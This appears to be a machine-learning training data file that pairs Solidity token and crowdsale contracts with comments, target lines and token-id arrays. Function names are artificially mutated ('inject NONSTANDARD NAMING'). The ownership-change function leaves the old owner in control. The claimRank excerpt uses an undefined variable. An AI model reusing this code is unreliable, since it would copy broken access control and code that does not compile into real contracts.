1345,
12,
3657,
5540,
3657,
5540,
3657,
5540,
3657,
5540,
3657,
5540,
3657,
5540,
3657,
5540,
3657,
5540,
3657,
5540,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.2;
library SafeMath {
function MUL162(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function DIV641(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function SUB622(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a);
uint256 c = a - b;
return c;
}
function ADD574(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a);
return c;
}
function MOD960(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0);
return a % b;
}
}
interface IERC20 {
function TRANSFER171(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function APPROVE729(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM43(address from, address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TOTALSUPPLY1000() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF11(address who) external view returns (uint256); //inject NONSTANDARD NAMING
function ALLOWANCE189(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
event TRANSFER893(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL326(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function TOTALSUPPLY1000() public view returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF11(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING
return _balances[owner];
}
function ALLOWANCE189(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return _allowed[owner][spender];
}
function TRANSFER171(address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER88(msg.sender, to, value);
return true;
}
function APPROVE729(address spender, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE787(msg.sender, spender, value);
return true;
}
function TRANSFERFROM43(address from, address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER88(from, to, value);
_APPROVE787(from, msg.sender, _allowed[from][msg.sender].SUB622(value));
return true;
}
function INCREASEALLOWANCE340(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE787(msg.sender, spender, _allowed[msg.sender][spender].ADD574(addedValue));
return true;
}
function DECREASEALLOWANCE920(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE787(msg.sender, spender, _allowed[msg.sender][spender].SUB622(subtractedValue));
return true;
}
function _TRANSFER88(address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
require(to != address(0));
_balances[from] = _balances[from].SUB622(value);
_balances[to] = _balances[to].ADD574(value);
emit TRANSFER893(from, to, value);
}
function _MINT877(address account, uint256 value) internal { //inject NONSTANDARD NAMING
require(account != address(0));
_totalSupply = _totalSupply.ADD574(value);
_balances[account] = _balances[account].ADD574(value);
emit TRANSFER893(address(0), account, value);
}
function _BURN466(address account, uint256 value) internal { //inject NONSTANDARD NAMING
require(account != address(0));
_totalSupply = _totalSupply.SUB622(value);
_balances[account] = _balances[account].SUB622(value);
emit TRANSFER893(account, address(0), value);
}
function _APPROVE787(address owner, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit APPROVAL326(owner, spender, value);
}
function _BURNFROM510(address account, uint256 value) internal { //inject NONSTANDARD NAMING
_BURN466(account, value);
_APPROVE787(account, msg.sender, _allowed[account][msg.sender].SUB622(value));
}
}
contract Controller {
address private _owner;
bool private _paused;
event OWNERSHIPTRANSFERRED948(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
event PAUSED527(address account); //inject NONSTANDARD NAMING
event UNPAUSED105(address account); //inject NONSTANDARD NAMING
mapping(address => bool) private owners;
constructor() internal {
SETOWNER969(msg.sender);
}
modifier ONLYOWNER408() { //inject NONSTANDARD NAMING
require(owners[msg.sender]);
_;
}
function SETOWNER969(address addr) internal returns(bool) { //inject NONSTANDARD NAMING
if (!owners[addr]) {
owners[addr] = true;
_owner = addr;
return true;
}
}
function CHANGEOWNER929(address newOwner) ONLYOWNER408 public returns(bool) { //inject NONSTANDARD NAMING
require (!owners[newOwner]);
owners[newOwner];
_owner = newOwner;
emit OWNERSHIPTRANSFERRED948(_owner, newOwner);
return true;
}
function OWNER670() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
function PAUSED195() public view returns(bool) { //inject NONSTANDARD NAMING
return _paused;
}
modifier WHENNOTPAUSED721() { //inject NONSTANDARD NAMING
require(!_paused);
_;
}
modifier WHENPAUSED463() { //inject NONSTANDARD NAMING
require(_paused);
_;
}
function PAUSE136() public ONLYOWNER408 WHENNOTPAUSED721 { //inject NONSTANDARD NAMING
_paused = true;
emit PAUSED527(msg.sender);
}
function UNPAUSE780() public ONLYOWNER408 WHENPAUSED463 { //inject NONSTANDARD NAMING
_paused = false;
emit UNPAUSED105(msg.sender);
}
}
contract LobefyToken is ERC20, Controller {
using SafeMath for uint256;
string private _name = "Lobefy Token";
string private _symbol = "CRWD";
uint256 private _decimals = 18;
address private team = 0xDA19316953D19f5f8C6361d68C6D0078c06285d3;
uint256 private team1Balance = 50 * (10 ** 6) * (10 ** 18);
constructor() public {
MINT940(team, team1Balance);
}
function NAME85() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL530() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS786() public view returns (uint256) { //inject NONSTANDARD NAMING
return _decimals;
}
function BURN283(uint256 value) public { //inject NONSTANDARD NAMING
_BURN466(msg.sender, value);
}
function BURNFROM445(address from, uint256 value) public { //inject NONSTANDARD NAMING
_BURNFROM510(from, value);
}
function MINT940(address to, uint256 value) public ONLYOWNER408 returns (bool) { //inject NONSTANDARD NAMING
_MINT877(to, value);
return true;
}
function TRANSFER171(address to, uint256 value) public WHENNOTPAUSED721 returns (bool) { //inject NONSTANDARD NAMING
return super.TRANSFER171(to, value);
}
function TRANSFERFROM43(address from, address to, uint256 value) public WHENNOTPAUSED721 returns (bool) { //inject NONSTANDARD NAMING
return super.TRANSFERFROM43(from, to, value);
}
function APPROVE729(address spender, uint256 value) public WHENNOTPAUSED721 returns (bool) { //inject NONSTANDARD NAMING
return super.APPROVE729(spender, value);
}
function INCREASEALLOWANCE340(address spender, uint addedValue) public WHENNOTPAUSED721 returns (bool success) { //inject NONSTANDARD NAMING
return super.INCREASEALLOWANCE340(spender, addedValue);
}
function DECREASEALLOWANCE920(address spender, uint subtractedValue) public WHENNOTPAUSED721 returns (bool success) { //inject NONSTANDARD NAMING
return super.DECREASEALLOWANCE920(spender, subtractedValue);
}
} | inject NONSTANDARD NAMING
| function BALANCEOF11(address owner) public view returns (uint256) { | 7,272,421 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
605,
1013,
4722,
3932,
2499,
12,
2867,
3410,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(this));
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(this));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable{
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint(){require(!mintingFinished); _;}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(this), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Reward(address indexed to, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.00000001 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / totalSupply) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum += amount;
}
if(sum > 0) {
_to.transfer(sum);
emit Reward(_to, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
_reward(msg.sender);
for(uint i = 0; i < _to.length; i++) {
_reward(_to[i]);
}
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
contract Token is CappedToken, BurnableToken, RewardToken {
function Token() CappedToken(10000000 * 1 ether) StandardToken("JULLAR0805", "JUL0805", 18) public {
}
}
contract Crowdsale is Ownable{
using SafeMath for uint;
Token public token;
address private beneficiary = 0x75E6d4a772DB168f34462a21b64192557ef5c504; // Кошелек компании
uint public collectedWei; // Собранные Веи
uint private refundedWei;
string public TokenPriceETH = "0.0000001"; // Стоимость токена
uint public tokensSold; // Проданное количество Токенов
uint private tokensDm; // Проданное количество Токенов + Количество покупаемых токенов
uint private tokensForSale = 45 * 1 ether; // Токены на продажу
uint public SoldToken;
uint public SaleToken = tokensForSale / 1 ether;
uint public StartIcoStage = 0;
// uint public priceTokenWei = 12690355329949; // 1 токен равен 0,01$ (1eth = 788$)
uint public priceTokenWei = 100000000000; // 0.0000001 ETH за 1 токен
bool public crowdsaleClosed = false;
mapping(address => uint256) public purchaseBalances; // Массив держателей токенов
event Rurchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event CrowdsaleClose();
uint256 private oSb = 8000000 * 1 ether;
/*Пауза и Старт*/
bool public paused = false;
uint public pausestatus = 1;
event Pause();
event StartNextIcoStage();
function pause() private {
pausestatus = 0;
paused = true;
emit Pause();
}
function Crowdsale() public {
token = new Token();
emit Rurchase(beneficiary, oSb, 0);
token.mint(beneficiary, oSb);
}
function() payable public {
if(crowdsaleClosed == false){
purchase();
}
}
function purchase() payable public {
require(pausestatus != 0);
require(!crowdsaleClosed);
require(tokensSold < tokensForSale);
require(msg.value >= 0.0000001 ether); // Минимальное количество Эфиров для покупки
uint sum = msg.value; // Сумма на которую хочет купить Токены
uint amount = sum.mul(1 ether).div(priceTokenWei);
uint retSum = 0;
if(tokensSold.add(amount) > tokensForSale) {
uint retAmount = tokensSold.add(amount).sub(tokensForSale);
retSum = retAmount.mul(priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
tokensSold = tokensSold.add(amount);
collectedWei = collectedWei.add(sum);
purchaseBalances[msg.sender] = purchaseBalances[msg.sender].add(sum);
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
emit Rurchase(msg.sender, amount, sum);
}
function StartNextStage() onlyOwner public {
require(!crowdsaleClosed);
require(pausestatus != 1);
pausestatus = 1;
paused = false;
emit StartNextIcoStage(); // Начало этапа ICO
}
/*Смена этапа и стоимости*/
function NewStage() private {
priceTokenWei = 200000000000; // Новая стоимость Токена 2 раза больше чем на PreICO
TokenPriceETH = "0.0000001";
}
function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
beneficiary.transfer(address(this).balance);
token.mint(beneficiary, token.cap().sub(token.totalSupply()));
token.transferOwnership(beneficiary);
crowdsaleClosed = true;
emit CrowdsaleClose();
}
} | 0.0000001 ETH за 1 токен
| uint public priceTokenWei = 100000000000; | 6,253,638 | [
1,
20,
18,
9449,
21,
512,
2455,
225,
145,
120,
145,
113,
404,
225,
146,
229,
145,
127,
145,
123,
145,
118,
145,
126,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
1071,
6205,
1345,
3218,
77,
273,
15088,
11706,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x3C210DC42f3B6388451C2E2533726c81A02c2143/sources/mainnet/0x06450dee7fd2fb8e39061434babcfc05599a6fb8/contracts/XENCrypto.sol | * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)/ uint256 termSec = term * SECONDS_IN_DAY; create and store new MintInfo | function claimRank(uint256 term) external {
require(termSec > MIN_TERM, "CRank: Term less than min");
require(termSec < _calculateMaxTerm() + 1, "CRank: Term more than current max term");
require(userMints[_msgSender()].rank == 0, "CRank: Mint already in progress");
MintInfo memory mintInfo = MintInfo({
user: _msgSender(),
term: term,
maturityTs: block.timestamp + termSec,
rank: globalRank,
amplifier: _calculateRewardAmplifier(),
eaaRate: _calculateEAARate()
});
userMints[_msgSender()] = mintInfo;
activeMinters++;
emit RankClaimed(_msgSender(), term, globalRank++);
}
| 1,961,856 | [
1,
9436,
87,
2177,
276,
12925,
7516,
2112,
777,
4271,
1342,
261,
267,
830,
18,
1158,
783,
7516,
1704,
13176,
2254,
5034,
2481,
2194,
273,
2481,
225,
17209,
67,
706,
67,
10339,
31,
752,
471,
1707,
394,
490,
474,
966,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7516,
12925,
12,
11890,
5034,
2481,
13,
3903,
288,
203,
3639,
2583,
12,
6408,
2194,
405,
6989,
67,
15176,
16,
315,
5093,
2304,
30,
6820,
5242,
2353,
1131,
8863,
203,
3639,
2583,
12,
6408,
2194,
411,
389,
11162,
2747,
4065,
1435,
397,
404,
16,
315,
5093,
2304,
30,
6820,
1898,
2353,
783,
943,
2481,
8863,
203,
3639,
2583,
12,
1355,
49,
28142,
63,
67,
3576,
12021,
1435,
8009,
11500,
422,
374,
16,
315,
5093,
2304,
30,
490,
474,
1818,
316,
4007,
8863,
203,
203,
3639,
490,
474,
966,
3778,
312,
474,
966,
273,
490,
474,
966,
12590,
203,
5411,
729,
30,
389,
3576,
12021,
9334,
203,
5411,
2481,
30,
2481,
16,
203,
5411,
29663,
17218,
30,
1203,
18,
5508,
397,
2481,
2194,
16,
203,
5411,
6171,
30,
2552,
12925,
16,
203,
5411,
2125,
412,
1251,
30,
389,
11162,
17631,
1060,
9864,
412,
1251,
9334,
203,
5411,
425,
7598,
4727,
30,
389,
11162,
41,
37,
985,
340,
1435,
203,
3639,
15549,
203,
3639,
729,
49,
28142,
63,
67,
3576,
12021,
1435,
65,
273,
312,
474,
966,
31,
203,
3639,
2695,
49,
2761,
87,
9904,
31,
203,
3639,
3626,
534,
2304,
9762,
329,
24899,
3576,
12021,
9334,
2481,
16,
2552,
12925,
9904,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
